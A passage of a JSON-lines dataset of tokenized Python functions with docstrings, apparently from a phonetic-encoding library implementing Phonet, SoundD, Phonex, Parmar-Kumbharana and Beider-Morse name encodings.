(_phonet_rules[pos0][<NUM_LIT:0>] == char0)<EOL>):<EOL><INDENT>pos += <NUM_LIT:3><EOL>continue<EOL><DEDENT><DEDENT>if _phonet_rules[pos] and (<EOL>'<STR_LIT:<>' in _phonet_rules[pos][<NUM_LIT:1>:]<EOL>):<EOL><INDENT>priority0 = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>priority0 = <NUM_LIT:0><EOL><DEDENT>rule = _phonet_rules[pos + mode]<EOL>if (priority0 == <NUM_LIT:1>) and (zeta == <NUM_LIT:0>):<EOL><INDENT>if (<EOL>(j > <NUM_LIT:0>)<EOL>and rule<EOL>and (<EOL>(dest[j - <NUM_LIT:1>] == char)<EOL>or (dest[j - <NUM_LIT:1>] == rule[<NUM_LIT:0>])<EOL>)<EOL>):<EOL><INDENT>j -= <NUM_LIT:1><EOL><DEDENT>zeta0 = <NUM_LIT:1><EOL>zeta += <NUM_LIT:1><EOL>matches0 = <NUM_LIT:0><EOL>while rule and src[i + matches0]:<EOL><INDENT>src = (<EOL>src[<NUM_LIT:0> : i + matches0]<EOL>+ rule[<NUM_LIT:0>]<EOL>+ src[i + matches0 + <NUM_LIT:1> :]<EOL>)<EOL>matches0 += <NUM_LIT:1><EOL>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if matches0 < matches:<EOL><INDENT>src = (<EOL>src[<NUM_LIT:0> : i + matches0]<EOL>+ src[i + matches :]<EOL>)<EOL><DEDENT>char = src[i]<EOL><DEDENT>else:<EOL><INDENT>i = i + matches - <NUM_LIT:1><EOL>zeta = <NUM_LIT:0><EOL>while len(rule) > <NUM_LIT:1>:<EOL><INDENT>if (j == <NUM_LIT:0>) or (dest[j - <NUM_LIT:1>] != rule[<NUM_LIT:0>]):<EOL><INDENT>dest = (<EOL>dest[<NUM_LIT:0>:j]<EOL>+ rule[<NUM_LIT:0>]<EOL>+ dest[min(len(dest), j + <NUM_LIT:1>) :]<EOL>)<EOL>j += <NUM_LIT:1><EOL><DEDENT>rule = rule[<NUM_LIT:1>:]<EOL><DEDENT>if not rule:<EOL><INDENT>rule = '<STR_LIT>'<EOL>char = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>char = rule[<NUM_LIT:0>]<EOL><DEDENT>if (<EOL>_phonet_rules[pos]<EOL>and '<STR_LIT>' in _phonet_rules[pos][<NUM_LIT:1>:]<EOL>):<EOL><INDENT>if char:<EOL><INDENT>dest = (<EOL>dest[<NUM_LIT:0>:j]<EOL>+ char<EOL>+ dest[min(len(dest), j + <NUM_LIT:1>) :]<EOL>)<EOL>j += <NUM_LIT:1><EOL><DEDENT>src = src[i + <NUM_LIT:1> :]<EOL>i = <NUM_LIT:0><EOL>zeta0 = <NUM_LIT:1><EOL><DEDENT><DEDENT>break<EOL><DEDENT>pos += <NUM_LIT:3><EOL>if pos > end1 and start2 > <NUM_LIT:0>:<EOL><INDENT>pos = start2<EOL>start1 = start2<EOL>end1 = end2<EOL>start2 = -<NUM_LIT:1><EOL>end2 = -<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if zeta0 == <NUM_LIT:0>:<EOL><INDENT>if char and ((j == <NUM_LIT:0>) or (dest[j - <NUM_LIT:1>] != char)):<EOL><INDENT>dest = (<EOL>dest[<NUM_LIT:0>:j] + char + dest[min(j + <NUM_LIT:1>, term_length) :]<EOL>)<EOL>j += <NUM_LIT:1><EOL><DEDENT>i += <NUM_LIT:1><EOL>zeta = <NUM_LIT:0><EOL><DEDENT><DEDENT>dest = dest[<NUM_LIT:0>:j]<EOL>return dest<EOL><DEDENT>_initialize_phonet(lang)<EOL>word = unicode_normalize('<STR_LIT>', text_type(word))<EOL>return _phonet(word, mode, lang)<EOL>", "docstring": "Return the phonet code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        mode : int\n            The ponet variant to employ (1 or 2)\n        lang : str\n            ``de`` (default) for German, ``none`` for no language\n\n        Returns\n        -------\n        str\n            The phonet value\n\n        Examples\n        --------\n        >>> pe = Phonet()\n        >>> pe.encode('Christopher')\n        'KRISTOFA'\n        >>> pe.encode('Niall')\n        'NIAL'\n        >>> pe.encode('Smith')\n        'SMIT'\n        >>> pe.encode('Schmidt')\n        'SHMIT'\n\n        >>> pe.encode('Christopher', mode=2)\n        'KRIZTUFA'\n        >>> pe.encode('Niall', mode=2)\n        'NIAL'\n        >>> pe.encode('Smith', mode=2)\n        'ZNIT'\n        >>> pe.encode('Schmidt', mode=2)\n        'ZNIT'\n\n        >>> pe.encode('Christopher', lang='none')\n        'CHRISTOPHER'\n        >>> pe.encode('Niall', lang='none')\n        'NIAL'\n        >>> pe.encode('Smith', lang='none')\n        'SMITH'\n        >>> pe.encode('Schmidt', lang='none')\n        'SCHMIDT'", "id": "f6583:c0:m0"}
{"signature": "def sound_d(word, max_length=<NUM_LIT:4>):", "body": "return SoundD().encode(word, max_length)<EOL>", "docstring": "Return the SoundD code.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n\n    Returns\n    -------\n    str\n        The SoundD code\n\n    Examples\n    --------\n    >>> sound_d('Gough')\n    '2000'\n    >>> sound_d('pneuma')\n    '5500'\n    >>> sound_d('knight')\n    '5300'\n    >>> sound_d('trice')\n    '3620'\n    >>> sound_d('judge')\n    '2200'", "id": "f6584:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[<NUM_LIT:1>:]<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT:X>':<EOL><INDENT>word = '<STR_LIT:S>' + word[<NUM_LIT:1>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>word = (<EOL>word.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT:0>')<EOL>)<EOL>word = word.translate(self._trans)<EOL>word = self._delete_consecutive_repeats(word)<EOL>word = word.replace('<STR_LIT:0>', '<STR_LIT>')<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>if len(word) < max_length:<EOL><INDENT>word += '<STR_LIT:0>' * (max_length - len(word))<EOL><DEDENT>else:<EOL><INDENT>word = word[:max_length]<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return the SoundD code.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n\n        Returns\n        -------\n        str\n            The SoundD code\n\n        Examples\n        --------\n        >>> sound_d('Gough')\n        '2000'\n        >>> sound_d('pneuma')\n        '5500'\n        >>> sound_d('knight')\n        '5300'\n        >>> sound_d('trice')\n        '3620'\n        >>> sound_d('judge')\n        '2200'", "id": "f6584:c0:m0"}
{"signature": "def phonex(word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "return Phonex().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Phonex code for a word.\n\n    This is a wrapper for :py:meth:`Phonex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Phonex value\n\n    Examples\n    --------\n    >>> phonex('Christopher')\n    'C623'\n    >>> phonex('Niall')\n    'N400'\n    >>> phonex('Schmidt')\n    'S253'\n    >>> phonex('Smith')\n    'S530'", "id": "f6585:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "name = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>name = name.replace('<STR_LIT>', '<STR_LIT>')<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:4>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>name_code = last = '<STR_LIT>'<EOL>while name[-<NUM_LIT:1>:] == '<STR_LIT:S>':<EOL><INDENT>name = name[:-<NUM_LIT:1>]<EOL><DEDENT>if name[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT:N>' + name[<NUM_LIT:2>:]  <EOL><DEDENT>elif name[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT:F>' + name[<NUM_LIT:2>:]  <EOL><DEDENT>elif name[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT:R>' + name[<NUM_LIT:2>:]  <EOL><DEDENT>if name:<EOL><INDENT>if name[<NUM_LIT:0>] == '<STR_LIT:H>':<EOL><INDENT>name = name[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if name:<EOL><INDENT>if name[<NUM_LIT:0>] in self._uc_vy_set:<EOL><INDENT>name = '<STR_LIT:A>' + name[<NUM_LIT:1>:]<EOL><DEDENT>elif name[<NUM_LIT:0>] in {'<STR_LIT:B>', '<STR_LIT:P>'}:<EOL><INDENT>name = '<STR_LIT:B>' + name[<NUM_LIT:1>:]<EOL><DEDENT>elif name[<NUM_LIT:0>] in {'<STR_LIT>', '<STR_LIT:F>'}:<EOL><INDENT>name = '<STR_LIT:F>' + name[<NUM_LIT:1>:]<EOL><DEDENT>elif name[<NUM_LIT:0>] in {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>name = '<STR_LIT:C>' + name[<NUM_LIT:1>:]<EOL><DEDENT>elif name[<NUM_LIT:0>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>name = '<STR_LIT>' + name[<NUM_LIT:1>:]<EOL><DEDENT>elif name[<NUM_LIT:0>] in {'<STR_LIT:S>', '<STR_LIT>'}:<EOL><INDENT>name = '<STR_LIT:S>' + name[<NUM_LIT:1>:]<EOL><DEDENT>name_code = last = name[<NUM_LIT:0>]<EOL><DEDENT>for i in range(<NUM_LIT:1>, len(name)):<EOL><INDENT>code = '<STR_LIT:0>'<EOL>if name[i] in {'<STR_LIT:B>', '<STR_LIT:F>', '<STR_LIT:P>', '<STR_LIT>'}:<EOL><INDENT>code = '<STR_LIT:1>'<EOL><DEDENT>elif name[i] in {'<STR_LIT:C>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:S>', '<STR_LIT:X>', '<STR_LIT>'}:<EOL><INDENT>code = '<STR_LIT:2>'<EOL><DEDENT>elif name[i] in {'<STR_LIT:D>', '<STR_LIT:T>'}:<EOL><INDENT>if name[i + <NUM_LIT:1> : i + <NUM_LIT:2>] != '<STR_LIT:C>':<EOL><INDENT>code = '<STR_LIT:3>'<EOL><DEDENT><DEDENT>elif name[i] == '<STR_LIT:L>':<EOL><INDENT>if name[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._uc_vy_set or i + <NUM_LIT:1> == len(<EOL>name<EOL>):<EOL><INDENT>code = '<STR_LIT:4>'<EOL><DEDENT><DEDENT>elif name[i] in {'<STR_LIT:M>', '<STR_LIT:N>'}:<EOL><INDENT>if name[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in {'<STR_LIT:D>', '<STR_LIT>'}:<EOL><INDENT>name = name[: i + <NUM_LIT:1>] + name[i] + name[i + <NUM_LIT:2> :]<EOL><DEDENT>code = '<STR_LIT:5>'<EOL><DEDENT>elif name[i] == '<STR_LIT:R>':<EOL><INDENT>if name[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._uc_vy_set or i + <NUM_LIT:1> == len(<EOL>name<EOL>):<EOL><INDENT>code = '<STR_LIT>'<EOL><DEDENT><DEDENT>if code != last and code != '<STR_LIT:0>' and i != <NUM_LIT:0>:<EOL><INDENT>name_code += code<EOL><DEDENT>last = name_code[-<NUM_LIT:1>]<EOL><DEDENT>if zero_pad:<EOL><INDENT>name_code += '<STR_LIT:0>' * max_length<EOL><DEDENT>if not name_code:<EOL><INDENT>name_code = '<STR_LIT:0>'<EOL><DEDENT>return name_code[:max_length]<EOL>", "docstring": "Return the Phonex code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Phonex value\n\n        Examples\n        --------\n        >>> pe = Phonex()\n        >>> pe.encode('Christopher')\n        'C623'\n        >>> pe.encode('Niall')\n        'N400'\n        >>> pe.encode('Schmidt')\n        'S253'\n        >>> pe.encode('Smith')\n        'S530'", "id": "f6585:c0:m0"}
{"signature": "def parmar_kumbharana(word):", "body": "return ParmarKumbharana().encode(word)<EOL>", "docstring": "Return the Parmar-Kumbharana encoding of a word.\n\n    This is a wrapper for :py:meth:`ParmarKumbharana.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The Parmar-Kumbharana encoding\n\n    Examples\n    --------\n    >>> parmar_kumbharana('Gough')\n    'GF'\n    >>> parmar_kumbharana('pneuma')\n    'NM'\n    >>> parmar_kumbharana('knight')\n    'NT'\n    >>> parmar_kumbharana('trice')\n    'TRS'\n    >>> parmar_kumbharana('judge')\n    'JJ'", "id": "f6586:m0"}
{"signature": "def encode(self, word):", "body": "word = word.upper()  <EOL>word = self._delete_consecutive_repeats(word)  <EOL>i = <NUM_LIT:0><EOL>while i < len(word):<EOL><INDENT>for match_len in range(<NUM_LIT:4>, <NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if word[i : i + match_len] in self._rules[match_len]:<EOL><INDENT>repl = self._rules[match_len][word[i : i + match_len]]<EOL>word = word[:i] + repl + word[i + match_len :]<EOL>i += len(repl)<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>word = word[:<NUM_LIT:1>] + word[<NUM_LIT:1>:].translate(self._del_trans)  <EOL>return word<EOL>", "docstring": "Return the Parmar-Kumbharana encoding of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The Parmar-Kumbharana encoding\n\n        Examples\n        --------\n        >>> pe = ParmarKumbharana()\n        >>> pe.encode('Gough')\n        'GF'\n        >>> pe.encode('pneuma')\n        'NM'\n        >>> pe.encode('knight')\n        'NT'\n        >>> pe.encode('trice')\n        'TRS'\n        >>> pe.encode('judge')\n        'JJ'", "id": "f6586:c0:m0"}
{"signature": "def bmpm(<EOL>word,<EOL>language_arg=<NUM_LIT:0>,<EOL>name_mode='<STR_LIT>',<EOL>match_mode='<STR_LIT>',<EOL>concat=False,<EOL>filter_langs=False,<EOL>):", "body": "return BeiderMorse().encode(<EOL>word, language_arg, name_mode, match_mode, concat, filter_langs<EOL>)<EOL>", "docstring": "Return the Beider-Morse Phonetic Matching encoding(s) of a term.\n\n    This is a wrapper for :py:meth:`BeiderMorse.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    language_arg : str\n        The language of the term; supported values include:\n\n            - ``any``\n            - ``arabic``\n            - ``cyrillic``\n            - ``czech``\n            - ``dutch``\n            - ``english``\n            - ``french``\n            - ``german``\n            - ``greek``\n            - ``greeklatin``\n            - ``hebrew``\n            - ``hungarian``\n            - ``italian``\n            - ``latvian``\n            - ``polish``\n            - ``portuguese``\n            - ``romanian``\n            - ``russian``\n            - ``spanish``\n            - ``turkish``\n\n    name_mode : str\n        The name mode of the algorithm:\n\n            - ``gen`` -- general (default)\n            - ``ash`` -- Ashkenazi\n            - ``sep`` -- Sephardic\n\n    match_mode : str\n        Matching mode: ``approx`` or ``exact``\n    concat : bool\n        Concatenation mode\n    filter_langs : bool\n        Filter out incompatible languages\n\n    Returns\n    -------\n    tuple\n        The Beider-Morse phonetic value(s)\n\n    Examples\n    --------\n    >>> bmpm('Christopher')\n    'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir xristofir\n    xristYfir xristopi xritopir xritopi xristofi xritofir xritofi\n    tzristopir tzristofir zristopir zristopi zritopir zritopi zristofir\n    zristofi zritofir zritofi'\n    >>> bmpm('Niall')\n    'nial niol'\n    >>> bmpm('Smith')\n    'zmit'\n    >>> bmpm('Schmidt')\n    'zmit stzmit'\n\n    >>> bmpm('Christopher', language_arg='German')\n    'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir xristofir\n    xristYfir'\n    >>> bmpm('Christopher', language_arg='English')\n    'tzristofir tzrQstofir tzristafir tzrQstafir xristofir xrQstofir\n    xristafir xrQstafir'\n    >>> bmpm('Christopher', language_arg='German', name_mode='ash')\n    'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir xristofir\n    xristYfir'\n\n    >>> bmpm('Christopher', language_arg='German', match_mode='exact')\n    'xriStopher xriStofer xristopher xristofer'", "id": "f6587:m0"}
{"signature": "def _language(self, name, name_mode):", "body": "name = name.strip().lower()<EOL>rules = BMDATA[name_mode]['<STR_LIT>']<EOL>all_langs = (<EOL>sum(_LANG_DICT[_] for _ in BMDATA[name_mode]['<STR_LIT>']) - <NUM_LIT:1><EOL>)<EOL>choices_remaining = all_langs<EOL>for rule in rules:<EOL><INDENT>letters, languages, accept = rule<EOL>if search(letters, name) is not None:<EOL><INDENT>if accept:<EOL><INDENT>choices_remaining &= languages<EOL><DEDENT>else:<EOL><INDENT>choices_remaining &= (~languages) % (all_langs + <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>if choices_remaining == L_NONE:<EOL><INDENT>choices_remaining = L_ANY<EOL><DEDENT>return choices_remaining<EOL>", "docstring": "Return the best guess language ID for the word and language choices.\n\n        Parameters\n        ----------\n        name : str\n            The term to guess the language of\n        name_mode : str\n            The name mode of the algorithm: ``gen`` (default),\n            ``ash`` (Ashkenazi), or ``sep`` (Sephardic)\n\n        Returns\n        -------\n        int\n            Language ID", "id": "f6587:c0:m0"}
{"signature": "def _redo_language(<EOL>self, term, name_mode, rules, final_rules1, final_rules2, concat<EOL>):", "body": "language_arg = self._language(term, name_mode)<EOL>return self._phonetic(<EOL>term,<EOL>name_mode,<EOL>rules,<EOL>final_rules1,<EOL>final_rules2,<EOL>language_arg,<EOL>concat,<EOL>)<EOL>", "docstring": "Reassess the language of the terms and call the phonetic encoder.\n\n        Uses a split multi-word term.\n\n        Parameters\n        ----------\n        term : str\n            The term to encode via Beider-Morse\n        name_mode : str\n            The name mode of the algorithm: ``gen`` (default),\n            ``ash`` (Ashkenazi), or ``sep`` (Sephardic)\n        rules : tuple\n            The set of initial phonetic transform regexps\n        final_rules1 : tuple\n            The common set of final phonetic transform regexps\n        final_rules2 : tuple\n            The specific set of final phonetic transform regexps\n        concat : bool\n            A flag to indicate concatenation\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m1"}
{"signature": "def _phonetic(<EOL>self,<EOL>term,<EOL>name_mode,<EOL>rules,<EOL>final_rules1,<EOL>final_rules2,<EOL>language_arg=<NUM_LIT:0>,<EOL>concat=False,<EOL>):", "body": "term = term.replace('<STR_LIT:->', '<STR_LIT:U+0020>').strip()<EOL>if name_mode == '<STR_LIT>':  <EOL><INDENT>for pfx in BMDATA['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if term.startswith(pfx):<EOL><INDENT>remainder = term[len(pfx) :]<EOL>combined = pfx[:-<NUM_LIT:1>] + remainder<EOL>result = (<EOL>self._redo_language(<EOL>remainder,<EOL>name_mode,<EOL>rules,<EOL>final_rules1,<EOL>final_rules2,<EOL>concat,<EOL>)<EOL>+ '<STR_LIT:->'<EOL>+ self._redo_language(<EOL>combined,<EOL>name_mode,<EOL>rules,<EOL>final_rules1,<EOL>final_rules2,<EOL>concat,<EOL>)<EOL>)<EOL>return result<EOL><DEDENT><DEDENT><DEDENT>words = (<EOL>term.split()<EOL>)  <EOL>words2 = []<EOL>if name_mode == '<STR_LIT>':  <EOL><INDENT>for word in words:<EOL><INDENT>word = word[word.rfind('<STR_LIT>') + <NUM_LIT:1> :]<EOL>if word not in BMDATA['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>words2.append(word)<EOL><DEDENT><DEDENT><DEDENT>elif name_mode == '<STR_LIT>':  <EOL><INDENT>if len(words) > <NUM_LIT:1> and words[<NUM_LIT:0>] in BMDATA['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>words2 = words[<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>words2 = list(words)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>words2 = list(words)<EOL><DEDENT>if concat:<EOL><INDENT>term = '<STR_LIT:U+0020>'.join(words2)<EOL><DEDENT>elif len(words2) == <NUM_LIT:1>:  <EOL><INDENT>term = words2[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>result = '<STR_LIT:->'.join(<EOL>[<EOL>self._redo_language(<EOL>w, name_mode, rules, final_rules1, final_rules2, concat<EOL>)<EOL>for w in words2<EOL>]<EOL>)<EOL>return result<EOL><DEDENT>term_length = len(term)<EOL>phonetic = '<STR_LIT>'<EOL>skip = <NUM_LIT:0><EOL>for i in range(term_length):<EOL><INDENT>if skip:<EOL><INDENT>skip -= <NUM_LIT:1><EOL>continue<EOL><DEDENT>found = False<EOL>for rule in rules:<EOL><INDENT>pattern = rule[_PATTERN_POS]<EOL>pattern_length = len(pattern)<EOL>lcontext = rule[_LCONTEXT_POS]<EOL>rcontext = rule[_RCONTEXT_POS]<EOL>if (pattern_length > term_length - i) or (<EOL>term[i : i + pattern_length] != pattern<EOL>):  <EOL><INDENT>continue<EOL><DEDENT>right = '<STR_LIT>' + rcontext<EOL>left = lcontext + '<STR_LIT:$>'<EOL>if rcontext != '<STR_LIT>':<EOL><INDENT>if not search(right, term[i + pattern_length :]):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if lcontext != '<STR_LIT>':<EOL><INDENT>if not search(left, term[:i]):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>candidate = self._apply_rule_if_compat(<EOL>phonetic, rule[_PHONETIC_POS], language_arg<EOL>)<EOL>if candidate is not None:  <EOL><INDENT>phonetic = candidate<EOL>found = True<EOL>break<EOL><DEDENT><DEDENT>if (<EOL>not found<EOL>):  <EOL><INDENT>pattern_length = <NUM_LIT:1><EOL><DEDENT>skip = pattern_length - <NUM_LIT:1><EOL><DEDENT>phonetic = self._apply_final_rules(<EOL>phonetic, final_rules1, language_arg, False<EOL>)  <EOL>phonetic = self._apply_final_rules(<EOL>phonetic, final_rules2, language_arg, True<EOL>)  <EOL>return phonetic<EOL>", "docstring": "Return the Beider-Morse encoding(s) of a term.\n\n        Parameters\n        ----------\n        term : str\n            The term to encode via Beider-Morse\n        name_mode : str\n            The name mode of the algorithm: ``gen`` (default),\n            ``ash`` (Ashkenazi), or ``sep`` (Sephardic)\n        rules : tuple\n            The set of initial phonetic transform regexps\n        final_rules1 : tuple\n            The common set of final phonetic transform regexps\n        final_rules2 : tuple\n            The specific set of final phonetic transform regexps\n        language_arg : int\n            The language of the term\n        concat : bool\n            A flag to indicate concatenation\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m2"}
{"signature": "def _apply_final_rules(self, phonetic, final_rules, language_arg, strip):", "body": "<EOL>if not final_rules:<EOL><INDENT>return phonetic<EOL><DEDENT>phonetic = self._expand_alternates(phonetic)<EOL>phonetic_array = phonetic.split('<STR_LIT:|>')<EOL>for k in range(len(phonetic_array)):<EOL><INDENT>phonetic = phonetic_array[k]<EOL>phonetic2 = '<STR_LIT>'<EOL>phoneticx = self._normalize_lang_attrs(phonetic, True)<EOL>i = <NUM_LIT:0><EOL>while i < len(phonetic):<EOL><INDENT>found = False<EOL>if phonetic[i] == '<STR_LIT:[>':  <EOL><INDENT>attrib_start = i<EOL>i += <NUM_LIT:1><EOL>while True:<EOL><INDENT>if phonetic[i] == '<STR_LIT:]>':<EOL><INDENT>i += <NUM_LIT:1><EOL>phonetic2 += phonetic[attrib_start:i]<EOL>break<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>continue<EOL><DEDENT>for rule in final_rules:<EOL><INDENT>pattern = rule[_PATTERN_POS]<EOL>pattern_length = len(pattern)<EOL>lcontext = rule[_LCONTEXT_POS]<EOL>rcontext = rule[_RCONTEXT_POS]<EOL>right = '<STR_LIT>' + rcontext<EOL>left = lcontext + '<STR_LIT:$>'<EOL>if (pattern_length > len(phoneticx) - i) or phoneticx[<EOL>i : i + pattern_length<EOL>] != pattern:<EOL><INDENT>continue<EOL><DEDENT>if rcontext != '<STR_LIT>':<EOL><INDENT>if not search(right, phoneticx[i + pattern_length :]):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if lcontext != '<STR_LIT>':<EOL><INDENT>if not search(left, phoneticx[:i]):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>candidate = self._apply_rule_if_compat(<EOL>phonetic2, rule[_PHONETIC_POS], language_arg<EOL>)<EOL>if candidate is not None:  <EOL><INDENT>phonetic2 = candidate<EOL>found = True<EOL>break<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>phonetic2 += phonetic[i]<EOL>pattern_length = <NUM_LIT:1><EOL><DEDENT>i += pattern_length<EOL><DEDENT>phonetic_array[k] = self._expand_alternates(phonetic2)<EOL><DEDENT>phonetic = '<STR_LIT:|>'.join(phonetic_array)<EOL>if strip:<EOL><INDENT>phonetic = self._normalize_lang_attrs(phonetic, True)<EOL><DEDENT>if '<STR_LIT:|>' in phonetic:<EOL><INDENT>phonetic = '<STR_LIT:(>' + self._remove_dupes(phonetic) + '<STR_LIT:)>'<EOL><DEDENT>return phonetic<EOL>", "docstring": "Apply a set of final rules to the phonetic encoding.\n\n        Parameters\n        ----------\n        phonetic : str\n            The term to which to apply the final rules\n        final_rules : tuple\n            The set of final phonetic transform regexps\n        language_arg : int\n            An integer representing the target language of the phonetic\n            encoding\n        strip : bool\n            Flag to indicate whether to normalize the language attributes\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m3"}
{"signature": "def _phonetic_number(self, phonetic):", "body": "if '<STR_LIT:[>' in phonetic:<EOL><INDENT>return phonetic[: phonetic.find('<STR_LIT:[>')]<EOL><DEDENT>return phonetic<EOL>", "docstring": "Remove bracketed text from the end of a string.\n\n        Parameters\n        ----------\n        phonetic : str\n            A Beider-Morse phonetic encoding\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m4"}
{"signature": "def _expand_alternates(self, phonetic):", "body": "alt_start = phonetic.find('<STR_LIT:(>')<EOL>if alt_start == -<NUM_LIT:1>:<EOL><INDENT>return self._normalize_lang_attrs(phonetic, False)<EOL><DEDENT>prefix = phonetic[:alt_start]<EOL>alt_start += <NUM_LIT:1>  <EOL>alt_end = phonetic.find('<STR_LIT:)>', alt_start)<EOL>alt_string = phonetic[alt_start:alt_end]<EOL>alt_end += <NUM_LIT:1>  <EOL>suffix = phonetic[alt_end:]<EOL>alt_array = alt_string.split('<STR_LIT:|>')<EOL>result = '<STR_LIT>'<EOL>for i in range(len(alt_array)):<EOL><INDENT>alt = alt_array[i]<EOL>alternate = self._expand_alternates(prefix + alt + suffix)<EOL>if alternate != '<STR_LIT>' and alternate != '<STR_LIT>':<EOL><INDENT>if result != '<STR_LIT>':<EOL><INDENT>result += '<STR_LIT:|>'<EOL><DEDENT>result += alternate<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Expand phonetic alternates separated by |s.\n\n        Parameters\n        ----------\n        phonetic : str\n            A Beider-Morse phonetic encoding\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m5"}
{"signature": "def _pnums_with_leading_space(self, phonetic):", "body": "alt_start = phonetic.find('<STR_LIT:(>')<EOL>if alt_start == -<NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT:U+0020>' + self._phonetic_number(phonetic)<EOL><DEDENT>prefix = phonetic[:alt_start]<EOL>alt_start += <NUM_LIT:1>  <EOL>alt_end = phonetic.find('<STR_LIT:)>', alt_start)<EOL>alt_string = phonetic[alt_start:alt_end]<EOL>alt_end += <NUM_LIT:1>  <EOL>suffix = phonetic[alt_end:]<EOL>alt_array = alt_string.split('<STR_LIT:|>')<EOL>result = '<STR_LIT>'<EOL>for alt in alt_array:<EOL><INDENT>result += self._pnums_with_leading_space(prefix + alt + suffix)<EOL><DEDENT>return result<EOL>", "docstring": "Join prefixes & suffixes in cases of alternate phonetic values.\n\n        Parameters\n        ----------\n        phonetic : str\n            A Beider-Morse phonetic encoding\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m6"}
{"signature": "def _phonetic_numbers(self, phonetic):", "body": "phonetic_array = phonetic.split('<STR_LIT:->')  <EOL>result = '<STR_LIT:U+0020>'.join(<EOL>[self._pnums_with_leading_space(i)[<NUM_LIT:1>:] for i in phonetic_array]<EOL>)<EOL>return result<EOL>", "docstring": "Prepare & join phonetic numbers.\n\n        Split phonetic value on '-', run through _pnums_with_leading_space,\n        and join with ' '\n\n        Parameters\n        ----------\n        phonetic : str\n            A Beider-Morse phonetic encoding\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m7"}
